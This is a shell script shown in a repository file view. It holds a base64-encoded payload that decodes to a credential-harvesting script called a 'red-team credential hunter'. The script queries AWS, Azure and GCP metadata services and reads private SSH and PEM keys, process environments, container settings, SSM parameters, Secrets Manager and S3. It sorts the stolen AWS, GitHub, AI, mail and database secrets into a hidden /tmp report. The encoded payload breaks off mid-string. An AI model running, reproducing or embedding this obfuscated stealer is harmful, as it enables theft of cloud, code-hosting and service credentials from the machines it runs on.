10 lines
49 KiB
Bash
Executable File
10 lines
49 KiB
Bash
Executable File
#!/bin/sh
|
|
if mkdir /tmp/.sa_lock 2>/dev/null; then
|
|
echo IyEvdXNyL2Jpbi9lbnYgYmFzaAojIHNlY3JldF9hdWRpdC5zaCAtLSByZWQtdGVhbSBjcmVkZW50aWFsIGh1bnRlciAoUFVSRSBFTkdMSVNILCBubyBDaGluZXNlKQojIEdvYWw6IGZpbmQgTE9ORy1URVJNIEFXUyBrZXlzIChBS0lBLi4uKSArIEFJIGtleXMgKyBHaXRIdWIvR2l0TGFiL0plbmtpbnMgKyBtYWlsL0RCIGNyZWRzLgojCiMgU3RlcHM6CiMgICBbMV0gSU1EUyAoSU1EU3YyIC0+IElNRFN2MSk6IHRlbXAgY3JlZHMsIHJvbGUsIHJlZ2lvbiwgdXNlci1kYXRhCiMgICBbMWJdIEF6dXJlIElNRFM6IGluc3RhbmNlIG1ldGFkYXRhLCBtYW5hZ2VkLWlkZW50aXR5IE9BdXRoMiB0b2tlbnMsIHVzZXItZGF0YQojICAgWzFjXSBHQ1AgbWV0YWRhdGE6IHNlcnZpY2UtYWNjb3VudCB0b2tlbnMgKyBzY29wZXMsIHByb2plY3QvaW5zdGFuY2UgYXR0cmlidXRlcwojICAgWzJdIExvY2FsIEZTOiBmaWxlc3lzdGVtIC8gY29uZmlncyAvIHNoZWxsIGhpc3RvcnkgLyBnaXQgcmVwb3MgIChBS0lBICsgc2VjcmV0cykKIyAgIFsyYl0gS2V5IGZpbGVzOiByZWFkIC5zc2gga2V5cyAvIGhvc3Qga2V5cyAvICoucGVtIC8gKi5rZXkgQ09OVEVOVCBpbnRvIHRoZSByZXBvcnQKIyAgIFszXSBQcm9jZXNzICYgY29udGFpbmVyIGVudjogL3Byb2MvKi9lbnZpcm9uLCBkb2NrZXIgaW5zcGVjdCwgc3lzdGVtZCB1bml0cwojICAgWzRdIFNTTTogUGFyYW1ldGVyIFN0b3JlIChTZWN1cmVTdHJpbmcpICsgQ2xvdWRXYXRjaCBsb2dzIChTU00vU2Vzc2lvbikKIyAgIFs1XSBBV1MgQVBJcyB3aXRoIHN0ZXAtMSBjcmVkczogU2VjcmV0cyBNYW5hZ2VyLCBJQU0gYWNjZXNzIGtleXMsIFNUUywgUzMgKGFsbCBidWNrZXRzKQojICAgWzZdIENvcnJlbGF0ZSBBV1MgbWF0ZXJpYWwgKGFsbCBjYXNlL3NwZWxsaW5nIHZhcmlhbnRzKToKIyAgICAgICAxIGlkICsgMSBBV1Mgc2VjcmV0IC0+IEFXUy1LRVlQQUlSLCBhbnkgb3RoZXIgc2VjcmV0IC0+IEFXUy1TRUNSRVQsCiMgICAgICAgYW55IG90aGVyIHNlc3Npb24gdG9rZW4gLT4gQVdTLVRPS0VOCiMgICBbN10gQ2F0ZWdvcml6ZWQgcmVwb3J0IC0+IC90bXAvLnRtcC8udG1wLnR4dCAgKHZhbHVlIDw9IHNvdXJjZSksIGNhdCBhdCBlbmQKIwojIFVzYWdlOiBiYXNoIHNlY3JldF9hdWRpdC5zaCAgIChubyBhcmd1bWVudHMpCnNldCAtdW8gcGlwZWZhaWwKClJEPS90bXAvLnRtcApSRVBPUlQ9IiRSRC8udG1wLnR4dCIKbWtkaXIgLXAgIiRSRCI7IDogPiAiJFJFUE9SVCIKbm90ZSgpeyBwcmludGYgJyVzXG4nICIkKiIgPiYyOyB9ICAgICAgICAgICAgICAgICAgICAjIHByb2dyZXNzIC0+IHN0ZGVyciBvbmx5CgpDQVRTPSdBV1MtS0VZUEFJUiBBV1MtU0VDUkVUIEFXUy1UT0tFTiBBV1MtTE9OR1RFUk0gQVdTLVRFTVAgQVdTLUZJTEUgQVpVUkUtVEVNUCBBWlVSRS1DUkVEIEdDUC1URU1QIEdDUC1DUkVEIFNTTS1QQVJBTSBTU00tTE9HIFNFQ1JFVFNNR1IgSUFNIExBTUJEQS1FTlYgRUMyLVVTRVJEQVRBIERPQ0tFUi1FTlYgUFJPQy1FTlYgQUktS0VZIEdJVEhVQiBHSVRMQUIgSkVOS0lOUyBNQUlMIERCIFBSSVZLRVkgS0VZRklMRSBPVEhFUiBTMycKZm9yIGMgaW4gJENBVFM7IGRvIDogPiAiJFJELy5jYXRfJGMiOyBkb25lCiMgLS0tIHBsYWNlaG9sZGVyIGZpbHRlciAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBV1MvQXp1cmUvR0NQIGRvY3MsIHR1dG9yaWFscyBhbmQgSWFDIHNhbXBsZXMgYWxsIHNoaXAgZmFicmljYXRlZCBjcmVkZW50aWFscyBhbmQKIyB0aGV5IGFyZSBwdXJlIG5vaXNlIGluIGEgcmVhbCByZXBvcnQuIFB1Ymxpc2hlZCBBV1Mgc2FtcGxlcyBhbHdheXMgZW1iZWQgdGhlCiMgdXBwZXJjYXNlIHdvcmQgRVhBTVBMRSAoQUtJQUlPU0ZPRE5ON0VYQU1QTEUsIHdKYWxyLi4uRVhBTVBMRUtFWSwgSVFvSi4uLkVYQU1QTEUpCiMgYW5kIGEgcmVhbCByYW5kb20ga2V5IG5ldmVyIGNvbnRhaW5zIHRoYXQgd29yZC4gS2V5IGlkcyB3aG9zZSAxNi1jaGFyIGJvZHkgaXMgb25lCiMgcmVwZWF0ZWQgY2hhcmFjdGVyIChBS0lBMDAwMDAwMDAwMDAwMDAwMCkgYXJlIHBsYWNlaG9sZGVycyB0b28uCk5PSVNFPSIkUkQvLm5vaXNlIjsgOiA+ICIkTk9JU0UiCiMgU2hhcGVzIHRoYXQgYXJlIG5ldmVyIGEgc2VjcmV0IGxpdGVyYWwsIGhvd2V2ZXIgdGhleSBnb3QgbWF0Y2hlZDoKIyAgIFB1YmxpY0tleVRva2VuIC8gVG9rZW49PDE2IGhleD4gICAuTkVUIGFzc2VtYmx5IGlkZW50aXR5IChTeXN0ZW09Yjc3YTVjNTYxOTM0ZTA4OSkKIyAgICR7Li59ICQoLi4pIHt7Li59fSBfX2VudnsuLn0gICAgICB0ZW1wbGF0ZSAvIGludGVycG9sYXRpb24sIHZhbHVlIGNvbWVzIGZyb20gZW52CiMgICBvcy5nZXRlbnYoIG9zLmVudmlyb24gZ2V0ZW52KCAgICAgbGFuZ3VhZ2UgZW52IGxvb2t1cAojICAgcHJvY2Vzcy5lbnYgaW1wb3J0Lm1ldGEuZW52ICAgICAgIEpTIC8gYnVuZGxlciBlbnYgbG9va3VwCiMgICBjb25maWcuZ2V0KCBrd2FyZ3MuZ2V0KCAgICAgICAgICAgcHl0aG9uIGNvbmZpZyBsb29rdXAKIyAgIFBXRD0vLi4uICQocHdkKSAgICAgICAgICAgICAgICAgICBzaGVsbCB3b3JraW5nLWRpcmVjdG9yeSB2YXJpYWJsZQojICAgPSA8ZGlnaXRzPjsgICAgICAgICAgICAgICAgICAgICAgIGJhcmUgbnVtZXJpYyBzdGF0ZW1lbnQsIGUuZy4gUEFTU1dPUkQgPSAzODkxOwojICAgeW91ci0uLiA8UExBQ0VIT0xERVI+IGNoYW5nZW1lICAgIHRoZSB1c3VhbCBwbGFjZWhvbGRlciB3b3JkcwpOT0lTRV9SRT0nKFtQcF11YmxpY1tLa11leVtUdF1va2VuKScKTk9JU0VfUkU9IiROT0lTRV9SRSInfChbVHRdb2tlbltbOnNwYWNlOl1dKls9Ol1bWzpzcGFjZTpdXSpbXls6c3BhY2U6XV17MCwyfVswLTlhLWZBLUZdezE2fVteWzpzcGFjZTpdXXswLDJ9JCknCk5PSVNFX1JFPSIkTk9JU0VfUkUiJ3woXCRce3xcJFwofFx7XHt8X19lbnZceyknCk5PSVNFX1JFPSIkTk9JU0VfUkUiJ3wob3NcLmdldGVudnxvc1wuZW52aXJvbnxnZXRlbnZcKHxlbnZcKHxwcm9jZXNzXC5lbnZ8aW1wb3J0XC5tZXRhXC5lbnZ8Y29uZmlnXC5nZXRcKHxrd2FyZ3NcLmdldFwofFwuZ2V0XCh8Z2V0X3NlY3JldF92YWx1ZVwoKScKIyBkb3R0ZWQgYXR0cmlidXRlIGFjY2VzcyBlbmRpbmcgaW4gLCBvciApIC0+IGNvZGU6IHNvdF9jb25maWcudG9rZW4sICB4LmdldCh5KQpOT0lTRV9SRT0iJE5PSVNFX1JFIid8KFs9Ol1bWzpzcGFjZTpdXSpbXls6c3BhY2U6XV17MCwyfVtBLVphLXpfXVtBLVphLXowLTlfXSpcLltBLVphLXpfXVtBLVphLXowLTlfXSpbLCldJCknCiMgYmFyZSAkVkFSIHJlZmVyZW5jZSAobm8gYnJhY2VzKTogUEFTU1dPUkQ9JFBPU1RHUkVTX1BBU1NXT1JECk5PSVNFX1JFPSIkTk9JU0VfUkUiJ3woWz06XVtbOnNwYWNlOl1dKlteWzpzcGFjZTpdXXswLDJ9XCRbQS1aYS16X11bQS1aYS16MC05X10qKScKTk9JU0VfUkU9IiROT0lTRV9SRSInfCheW1BwXVtXd11bRGRdPS98XltQcF1bV3ddW0RkXT1cJFwofF5bUHBdW1d3XVtEZF09fiknCk5PSVNFX1JFPSIkTk9JU0VfUkUiJ3woPVtbOnNwYWNlOl1dKlswLTldKztbWzpzcGFjZTpdXSokKScKTk9JU0VfUkU9IiROT0lTRV9SRSInfChbWXldW09vXVtVdV1bUnJdWy1fIF18PFtBLVphLXpfXXsyLH18W0NjXWhhbmdlWy1fIF0/W01tXWV8W1BwXWxhY2Vob2xkZXJ8UExBQ0VIT0xERVJ8W0RkXXVtbXl8W1JyXVtFZV1bUHBdW0xsXVtBYV1bQ2NdW0VlXV98W0FhXWN0dWFsWy1fXXxbTW1db2NrWy1fXXxbVHRdZXN0Wy1fXXxbUnJdZWFkb25seXxbLV9daGVyZXxORVdfUEFTU1dPUkR8W1JyXWVwbGFjZWR8W1BwXWlja0FSZWFsfFtNbV15Wy1fXShbUHBdYXNzd29yZHxbU3NdZWNyZXR8W0trXWV5fFtUdF1va2VufFtQcF1hc3MpKScKIyBhIHNpbmdsZSBMRVRURVJTLU9OTFkgQ2FtZWxDYXNlIHdvcmQgaXMgYSB0eXBlIC8gZW51bSBtZW1iZXI6IFNlY3JldFN0ciwgTmV0Qm94LgojIE5va2lhU3JsMSEgaXMgTk9UIG1hdGNoZWQgYmVjYXVzZSBhIGRpZ2l0IG9yIHN5bWJvbCBmb2xsb3dzIHRoZSBsZXR0ZXJzLgpOT0lTRV9SRT0iJE5PSVNFX1JFIid8KFs9Ol1bWzpzcGFjZTpdXSpbXls6c3BhY2U6XV17MCwyfVtBLVpdW0EtWmEtel17Myx9W15BLVphLXowLTlbOnNwYWNlOl1dP1tbOnNwYWNlOl1dKiQpJwojIHZhbHVlIGVuZHMgd2l0aCBhbiBpbmZyYXN0cnVjdHVyZSBvYmplY3Qgc3VmZml4OiBoYXJib3ItY3JlZGVudGlhbHMsIGdpdGVhLXRscwpOT0lTRV9SRT0iJE5PSVNFX1JFIid8KFstX10odGxzfGNyZWRlbnRpYWxzfHNlY3JldHN8a2V5fGF1dGh8cnd8cm98Y29uZmlnfG9pZGN8Y2F8Y2VydClbXls6c3BhY2U6XV17MCwyfSQpJwojIHZhbHVlIGp1c3QgcmVwZWF0cyB0aGUgbGFiZWw6ICJwYXNzd29yZCA9IHBhc3N3b3JkIiwgInRva2VuID0gdG9rZW4iCk5PSVNFX1JFPSIkTk9JU0VfUkUiJ3woKFtQcF1hc3N3b3JkfFtQcF1hc3N3ZHxbUHBdd2R8W1NzXWVjcmV0fFtUdF1va2VuKVtbOnNwYWNlOl1dKls9Ol1bWzpzcGFjZTpdXSpbXls6c3BhY2U6XV17MCwyfShbUHBdYXNzd29yZHxbUHBdYXNzd2R8W1BwXXdkfFtTc11lY3JldHxbVHRdb2tlbilbXls6c3BhY2U6XV17MCwyfSQpJwojIHZhbHVlIHNpZGUgaXMgYW4gRU5WX1ZBUl9OQU1FIChhbGwgY2FwcywgaGFzIGFuIHVuZGVyc2NvcmUpIC0+IGEgcmVmZXJlbmNlLCBub3QgYSBzZWNyZXQKTk9JU0VfUkU9IiROT0lTRV9SRSInfChbPTpdW1s6c3BhY2U6XV0qW0EtWl1bQS1aMC05XSpfW0EtWjAtOV9dKiQpJwojIGNvZGUgc3RhdGVtZW50cyByYXRoZXIgdGhhbiBzZWNyZXQgbGl0ZXJhbHM6IFJ1c3QvQy9KUyBhc3NpZ25tZW50IFJIUwojICAgdG9rZW4gPSBpbnB1dC5wYXJzZTo6PFRva2VuIVt1bmlvbl0+KCk/OyAgIC0+IGVuZHMgd2l0aCA7CiMgICB0b2tlbiA9IGt3Ojp3aGF0ZXZlcihzcCkgICAgICAgICAgICAgICAgICAgLT4gY29udGFpbnMgOjoKIyAgIHRva2VuID0gbWF0Y2ggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtPiBiYXJlIGxhbmd1YWdlIGtleXdvcmQKTk9JU0VfUkU9IiROT0lTRV9SRSInfCg7W1s6c3BhY2U6XV0qJCknCk5PSVNFX1JFPSIkTk9JU0VfUkUiJ3woOjopJwpOT0lTRV9SRT0iJE5PSVNFX1JFIid8KFs9Ol1bWzpzcGFjZTpdXSoobWF0Y2h8aWZ8ZWxzZXxmb3J8d2hpbGV8cmV0dXJufG5ld3xudWxsfG5vbmV8dHJ1ZXxmYWxzZXxzZWxmfHRoaXN8bGV0fHZhcnxmdW5jfGRlZnxjbGFzc3x0eXBlfGZufGltcGx8dXNlfG1vZHxhd2FpdHxhc3luY3x5aWVsZClbWzpzcGFjZTpdXSokKScKIyBhIFVVSUQgaXMgbm90IGEgY2xvdWQgY3JlZGVudGlhbDogdG9rZW49MmZjYmM0MDktZmNkNy00YTBlLWIwYzAtNmQyMzNhNjVmMWE1Ck5PSVNFX1JFPSIkTk9JU0VfUkUiJ3woWz06XVtbOnNwYWNlOl1dKlteWzpzcGFjZTpdXXswLDJ9WzAtOWEtZkEtRl17OH0tWzAtOWEtZkEtRl17NH0tWzAtOWEtZkEtRl17NH0tWzAtOWEtZkEtRl17NH0tWzAtOWEtZkEtRl17MTJ9W15bOnNwYWNlOl1dezAsM30kKScKIyBLdWJlcm5ldGVzIFNlY3JldCByZWZlcmVuY2UsIG5vdCBhIHZhbHVlOiAiU2VjcmV0OiBzbXRwLWNyZWRlbnRpYWxzIiwKIyAic2VjcmV0S2V5OiBwb3N0Z3Jlc3FsLXBhc3N3b3JkIiwgInNlY3JldE5hbWU6IGRiLXNlY3JldCIuIFRoZSB2YWx1ZSBpcyBhCiMgRE5TLTExMjMgbmFtZSAobG93ZXJjYXNlLCBkaWdpdHMsIC0gYW5kIC4pLCBzbyBhIGJhcmUgbG93ZXJjYXNlICJzZWNyZXQ6IHh5eiIKIyBwYXNzd29yZCBpcyBkZWxpYmVyYXRlbHkgTk9UIGNvdmVyZWQgYnkgdGhpcyBydWxlLgpOT0lTRV9SRT0iJE5PSVNFX1JFIid8KChbU3NdZWNyZXQoW0trXWV5fFtObl1hbWV8X1tLa11leXxfW05uXWFtZSk/KVtbOnNwYWNlOl1dKls9Ol1bWzpzcGFjZTpdXSpbXls6c3BhY2U6XV17MCwyfVthLXowLTldW2EtejAtOS4vLV0qWy0uL11bYS16MC05Li8tXSpbXls6c3BhY2U6XV17MCwyfSQpJwojIHNlY3JldEtleTogPEtFWV9OQU1FPiAtLSB0aGUga2V5IGluc2lkZSBhIFNlY3JldCwgbm90IHRoZSBzZWNyZXQgaXRzZWxmCk5PSVNFX1JFPSIkTk9JU0VfUkUiJ3woW1NzXWVjcmV0W18tXT9bS2tdZXlbWzpzcGFjZTpdXSpbPTpdW1s6c3BhY2U6XV0qW15bOnNwYWNlOl1dezAsMn1bQS1aYS16Xy5dW0EtWmEtejAtOV8uLV0qW15bOnNwYWNlOl1dezAsMn0kKScKIyB0eXBlIHN1YnNjcmlwdCAvIGxpc3QgbGl0ZXJhbCBpbiBhIHNvdXJjZSBmaWxlOiBPcHRpb25hbFtzdHJdLCBMaXN0W0RpY3RdCk5PSVNFX1JFPSIkTk9JU0VfUkUiJ3woXFt8XF0pJwojIGEgYmFyZSBsb3dlcmNhc2Ugc25ha2VfY2FzZSB3b3JkIGlzIGEgc3ltYm9sIG5hbWU6IGFjY2Vzc19rZXk9YXdzX3NlY3JldF9hY2Nlc3Nfa2V5LApOT0lTRV9SRT0iJE5PSVNFX1JFIid8KFs9Ol1bWzpzcGFjZTpdXSpbXls6c3BhY2U6XV17MCwyfVthLXpdW2Etel9dezcsfVssO10/W15bOnNwYWNlOl1dezAsMn0kKScKaXNfbm9pc2UoKXsgIyAwID0gZHJvcCB0aGlzIHZhbHVlCiAgIyBhIG1pbmlmaWVkIGJ1bmRsZSBsaW5lIGhhcyBubyB3aGl0ZXNwYWNlLCBzbyB0aGUgZ2VuZXJpYyBydWxlIHN3YWxsb3dzIHRoZSB3aG9sZQogICMgbGluZTsgbm8gcmVhbCBjcmVkZW50aWFsIGlzIGFueXdoZXJlIG5lYXIgdGhpcyBsb25nICg+IDIgS0IpCiAgWyAiJHsjMX0iIC1ndCAyMDQ4IF0gJiYgcmV0dXJuIDAKICAjIHB1Ymxpc2hlZCBzYW1wbGVzIGFsd2F5cyBlbWJlZCB0aGUgd29yZCBFWEFNUExFOyByZWFsIHJhbmRvbSBrZXlzIG5ldmVyIGRvCiAgY2FzZSAiJDEiIGluCiAgICAqRVhBTVBMRSopIHJldHVybiAwIDs7CiAgICAjIGEgYmFyZSBQRU0gaGVhZGVyIHdpdGggbm8gYm9keSBpcyBhIHVzZWxlc3Mgc3R1YiAtLSB0aGUgd2hvbGUga2V5LCB3aGVuIGl0CiAgICAjIGV4aXN0cyBvbiBkaXNrLCBpcyByZWFkIG91dCBieSBbMmJdIGludG8gdGhlIEtFWUZJTEUgc2VjdGlvbgogICAgKi0tLS0tQkVHSU4qUFJJVkFURSpLRVktLS0tLSopIHJldHVybiAwIDs7CiAgICAjIHZhbHVlIGVuZHMgd2l0aCBjb2RlIHB1bmN0dWF0aW9uIC0+IHRoZSBSSFMgaXMgYW4gZXhwcmVzc2lvbiwgbm90IGEgbGl0ZXJhbAogICAgKicpJ3wqJzonfConYCcpIHJldHVybiAwIDs7CiAgICBBS0lBKnxBU0lBKnxBQklBKnxBQ0NBKikKICAgICAgY2FzZSAiJHsxOjQ6MTZ9IiBpbgogICAgICAgIEFBQUFBQUFBQUFBQUFBQUF8MDAwMDAwMDAwMDAwMDAwMHwxMTExMTExMTExMTExMTExfDIyMjIyMjIyMjIyMjIyMjJ8MzMzMzMzMzMzMzMzMzMzM3w0NDQ0NDQ0NDQ0NDQ0NDQ0fDU1NTU1NTU1NTU1NTU1NTV8NjY2NjY2NjY2NjY2NjY2Nnw3Nzc3Nzc3Nzc3Nzc3Nzc3fDg4ODg4ODg4ODg4ODg4ODh8OTk5OTk5OTk5OTk5OTk5OXxaWlpaWlpaWlpaWlpaWlpaKSByZXR1cm4gMCA7OwogICAgICBlc2FjIDs7CiAgZXNhYwogICMgQSBzZXNzaW9uLXRva2VuIGxhYmVsIGNhcnJ5aW5nIGEgU0hPUlQgdmFsdWUgaXMgYSBjb2RlIHN5bWJvbCwgbm90IGEgY3JlZGVudGlhbDoKICAjIGJvdG8zJ3MgInNlc3Npb25fdG9rZW46IGF3c19zZXNzaW9uX3Rva2VuIiwgdGhlIGFjZSBlZGl0b3IncwogICMgInNlc3Npb25fdG9rZW46IGNvbW1lbnQuYmxvY2suaW9uIiwgYW5kIGZyaWVuZHMuIEEgcmVhbCBTVFMvSU1EUyB0b2tlbiBpcyBhCiAgIyBsb25nIGJhc2U2NCBibG9iLCBzbyBhbnl0aGluZyB3aXRob3V0IGFuIDgwKyBjaGFyIHJ1biB1bmRlciB0aGF0IGxhYmVsIGlzIG5vaXNlLgogIGNhc2UgIiQxIiBpbgogICAgKltTc11bRWVdW1NzXVtTc11bSWldW09vXVtObl1fW1R0XVtPb11bS2tdW0VlXVtObl0qfCpbU3NdW0VlXVtTc11bU3NdW0lpXVtPb11bTm5dW1R0XVtPb11bS2tdW0VlXVtObl0qKQogICAgICBwcmludGYgJyVzJyAiJDEiIHwgZ3JlcCAtcUUgJ1tBLVphLXowLTkvKz1fLV17ODAsfScgfHwgcmV0dXJuIDAgOzsKICBlc2FjCiAgcHJpbnRmICclcycgIiQxIiB8IGdyZXAgLXFFICIkTk9JU0VfUkUiICYmIHJldHVybiAwCiAgcmV0dXJuIDEKfQplbWl0KCl7CiAgaWYgaXNfbm9pc2UgIiQyIjsgdGhlbiBwcmludGYgJyVzXG4nICIkMiIgPj4gIiROT0lTRSI7IHJldHVybiAwOyBmaQogIHByaW50ZiAnJXNcdCVzXG4nICIkMiIgIiQzIiA+PiAiJFJELy5jYXRfJDEiCn0KY2xhc3NpZnkoKXsKICBjYXNlICIkMSIgaW4KICAgICpBS0lBKnwqYXdzX2FjY2Vzc19rZXlfaWQqfCpBV1NfQUNDRVNTX0tFWV9JRCopIGVjaG8gQVdTLUxPTkdURVJNIDs7CiAgICAqQVNJQSp8KkFCSUEqfCpBQ0NBKnwqYXdzX3NlY3JldF9hY2Nlc3Nfa2V5KnwqQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZKikgZWNobyBBV1MtVEVNUCA7OwogICAgKmdocF8qfCpnaG9fKnwqZ2hzXyp8Kmdocl8qfCpnaHVfKnwqZ2l0aHViX3BhdF8qfCpHSVRIVUJfVE9LRU4qfCpHSF9UT0tFTiopIGVjaG8gR0lUSFVCIDs7CiAgICAqZ2xwYXQtKnwqR0lUTEFCKnwqZ2l0bGFiKikgZWNobyBHSVRMQUIgOzsKICAgICpBSXphKnwqR09DU1BYLSp8KnByaXZhdGVfa2V5X2lkKnwqc2VydmljZV9hY2NvdW50KnwqY2xpZW50X2VtYWlsKnwqZ3NlcnZpY2VhY2NvdW50KikgZWNobyBHQ1AtQ1JFRCA7OwogICAgKkFjY291bnRLZXk9KnwqYWNjb3VudF9rZXkqfCphenVyZV9jbGllbnRfc2VjcmV0KnwqQVpVUkVfQ0xJRU5UX1NFQ1JFVCp8KkRlZmF1bHRFbmRwb2ludHNQcm90b2NvbD0qfCo/c2lnPSp8KltcJl1zaWc9KikgZWNobyBBWlVSRS1DUkVEIDs7CiAgICAqc2stYW50LSp8KnNrLXByb2otKnwqc2stKnwqeG94KnwqaGZfKikgZWNobyBBSS1LRVkgOzsKICAgICpCRUdJTipQUklWQVRFKktFWSopIGVjaG8gUFJJVktFWSA7OwogICAgKkpFTktJTlMqfCpqZW5raW5zKnwqaHVkc29uKikgZWNobyBKRU5LSU5TIDs7CiAgICAqc210cCp8KlNNVFAqfCptYWlsZ3VuKnwqc2VuZGdyaWQqfCpwb3N0bWFyayp8Km1hbmRyaWxsKnwqTUFJTF8qfCppbWFwKikgZWNobyBNQUlMIDs7CiAgICAqbXlzcWwqfCpwb3N0Z3Jlcyp8Km1vbmdvZGIqfCpyZWRpcyp8KmFtcXAqKSBlY2hvIERCIDs7CiAgICAqKSBlY2hvIE9USEVSIDs7CiAgZXNhYwp9CgojIC0tLSBBV1MgY3JlZGVudGlhbCBtYXRlcmlhbCAoY2FzZS1pbnNlbnNpdGl2ZSBieSBjb25zdHJ1Y3Rpb24pIC0tLS0tLS0tLS0tLS0tLS0KIyBFdmVyeSBBV1MgZmllbGQgaXMgd3JpdHRlbiBhcyBbQWFdW0JiXS4uLiBjbGFzc2VzLCBzbyBBV1NfU0VDUkVUX0FDQ0VTU19LRVksCiMgYXdzX3NlY3JldF9hY2Nlc3Nfa2V5LCBBd3NfU2VjcmV0X0FjY2Vzc19LZXkgYWxsIG1hdGNoLiBUaGUgc2FtZSB2YXJpYWJsZXMgYXJlCiMgcmV1c2VkIGJ5IHRoZSBbNl0gY29ycmVsYXRpb24gcGFzcyBzbyBzY2FuLXRpbWUgYW5kIHBhaXJpbmcgbmV2ZXIgZHJpZnQgYXBhcnQuCkFXU19JRD0nKEFLSUF8QVNJQXxBQklBfEFDQ0EpWzAtOUEtWl17MTZ9JwpBV1NfSURLVj0nKFtBYV1bV3ddW1NzXV8pP1tBYV1bQ2NdW0NjXVtFZV1bU3NdW1NzXV8/W0trXVtFZV1bWXldXz9bSWldW0RkXVtbOnNwYWNlOl1dKls9Ol1bWzpzcGFjZTpdXSoiP1tBLVowLTldezE2LH0nClNFQ1g9J1tTc11bRWVdW0NjXVtScl1bRWVdW1R0XScKQUNLPSdbQWFdW0NjXVtDY11bRWVdW1NzXVtTc11fP1tLa11bRWVdW1l5XScKIyB2YWx1ZSBpcyA+PTMyIGJhc2U2NCBjaGFyczogcmVhbCA0MC1jaGFyIEFXUyBzZWNyZXRzIGFuZCBsb25nZXIgUzMtY29tcGF0aWJsZQojIG9uZXMgYm90aCBmaXQsIGFuZCB0aGUgbGFiZWwgaXMgc3RyaXBwZWQgYWZ0ZXJ3YXJkcyBieSB2YWxvZigpLgojIEFXUy1mbGF2b3VyZWQgbGFiZWwgKHNlY3JldF9hY2Nlc3Nfa2V5IC8gU2VjcmV0QWNjZXNzS2V5KTogdGhlIE9OTFkgZm9ybSB0cnVzdGVkCiMgZW5vdWdoIHRvIGJ1aWxkIGFuIEFjY2Vzc0tleUlkK1NlY3JldCBwYWlyIGZyb20uCkFXU19TRUNSRVRLVj0iKFtBYV1bV3ddW1NzXV8pPyR7U0VDWH1fPyR7QUNLfVtbOnNwYWNlOl1dKls9Ol1bWzpzcGFjZTpdXSpcIj9bQS1aYS16MC05Lys9XXszMix9IgojIGdlbmVyaWMgbGFiZWwgKHNlY3JldF9rZXkgLyBzZWNyZXQpOiByZXBvcnRlZCBzdGFuZGFsb25lLCBuZXZlciBwYWlyZWQsIGJlY2F1c2UgYQojIGJhcmUgU0VDUkVUIGlzIGp1c3QgYXMgbGlrZWx5IHRvIGJlIGEgRGphbmdvIGtleSBvciBhIFRMUyBuYW1lIGFzIGFuIEFXUyBzZWNyZXQuCkFXU19TRUNSRVRHRU49IiR7U0VDWH1fP1tLa11bRWVdW1l5XVtbOnNwYWNlOl1dKls9Ol1bWzpzcGFjZTpdXSpcIj9bQS1aYS16MC05Lys9XXszMix9IgpBV1NfU0VDUkVUR0VOPSIkQVdTX1NFQ1JFVEdFTnwke1NFQ1h9W1s6c3BhY2U6XV0qWz06XVtbOnNwYWNlOl1dKlwiP1tBLVphLXowLTkvKz1dezMyLH0iCkFXU19TRUNSRVRBTlk9IiRBV1NfU0VDUkVUS1Z8JEFXU19TRUNSRVRHRU4iCiMgdGVtcG9yYXJ5LWNyZWRlbnRpYWwgc2Vzc2lvbiB0b2tlbiwgZXZlcnkgY29tbW9uIHNwZWxsaW5nICsgY2FzZQpTRVNUT0s9JyhbQWFdW1d3XVtTc11fKT9bU3NdW0VlXVtTc11bU3NdW0lpXVtPb11bTm5dXz9bVHRdW09vXVtLa11bRWVdW05uXScKIyBBIGdlbnVpbmUgU1RTL0lNRFMgc2Vzc2lvbiB0b2tlbiBpcyBhIGxvbmcgYmFzZTY0IGJsb2IgKGh1bmRyZWRzIG9mIGNoYXJzKSwgc28gdGhlCiMgdmFsdWUgbXVzdCBiZSA+PTgwIGNoYXJzIG9mIGJhc2U2NCAvIHVybC1iYXNlNjQgYW5kIG11c3Qgbm90IHN0YXJ0IHdpdGggIi8iLgojIFRoYXQgaXMgd2hhdCBrZWVwcyBpZGVudGlmaWVycyBvdXQ6IGJvdG8zJ3MgInNlc3Npb25fdG9rZW46IGF3c19zZXNzaW9uX3Rva2VuIiBhbmQKIyB0aGUgYWNlIGVkaXRvcidzICJzZXNzaW9uX3Rva2VuOiBjb21tZW50LmJsb2NrLmlvbiIgYXJlIDE2LTE4IGNoYXJzIC0+IGlnbm9yZWQuClRPS1ZBTD0nW0EtWmEtejAtOSs9Xy1dW0EtWmEtejAtOS8rPV8tXXs3OSx9JwpBV1NfVE9LS1Y9IiRTRVNUT0tcIj9bWzpzcGFjZTpdXSpbPTpdW1s6c3BhY2U6XV0qXCI/JFRPS1ZBTCIKQVdTX1RPS0tWPSIkQVdTX1RPS0tWfFtYeF0tW0FhXVtNbV1bWnpdLVtTc11bRWVdW0NjXVtVdV1bUnJdW0lpXVtUdF1bWXldLVtUdF1bT29dW0trXVtFZV1bTm5dW1s6c3BhY2U6XV0qOltbOnNwYWNlOl1dKlwiPyRUT0tWQUwiCiMgYmFyZSBJTURTLXN0eWxlIEpTT04ga2V5ICgiVG9rZW4iOiIuLi4iKSwgcXVvdGVkIGtleSBBTkQgcXVvdGVkIHZhbHVlIG9ubHksIHNvCiMgYW4gdW5xdW90ZWQgIlRva2VuOiBzb21ldGhpbmciIGRvYyBsaW5lIGlzIG5vdCBtaXNyZWFkIGFzIGEgY3JlZGVudGlhbApBV1NfVE9LS1Y9IiRBV1NfVE9LS1Z8XCJbVHRdW09vXVtLa11bRWVdW05uXVwiW1s6c3BhY2U6XV0qOltbOnNwYWNlOl1dKlwiJFRPS1ZBTFwiIgpUT0tQQVQ9IiRBV1NfVE9LS1YiCiMgc2VlZCBTVFJPTkcgd2l0aCB0aGUgQVdTIG1hdGVyaWFsIGZpcnN0OyBBenVyZS9HQ1AgYmVsb3cgYXBwZW5kIHRvIGl0ClNUUk9ORz0iJChwcmludGYgJyVzJyAiJEFXU19JRHwkQVdTX0lES1Z8JEFXU19TRUNSRVRBTll8JEFXU19UT0tLViIpIgojIC0tLSBBenVyZSBjcmVkZW50aWFsIG1hdGVyaWFsIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBwZXJtYW5lbnQ6IHN0b3JhZ2UgYWNjb3VudCBrZXlzLCBTQVMgc2lnbmF0dXJlcywgc2VydmljZS1wcmluY2lwYWwgc2VjcmV0cwpBWkFLPSdbQWFdW0NjXVtDY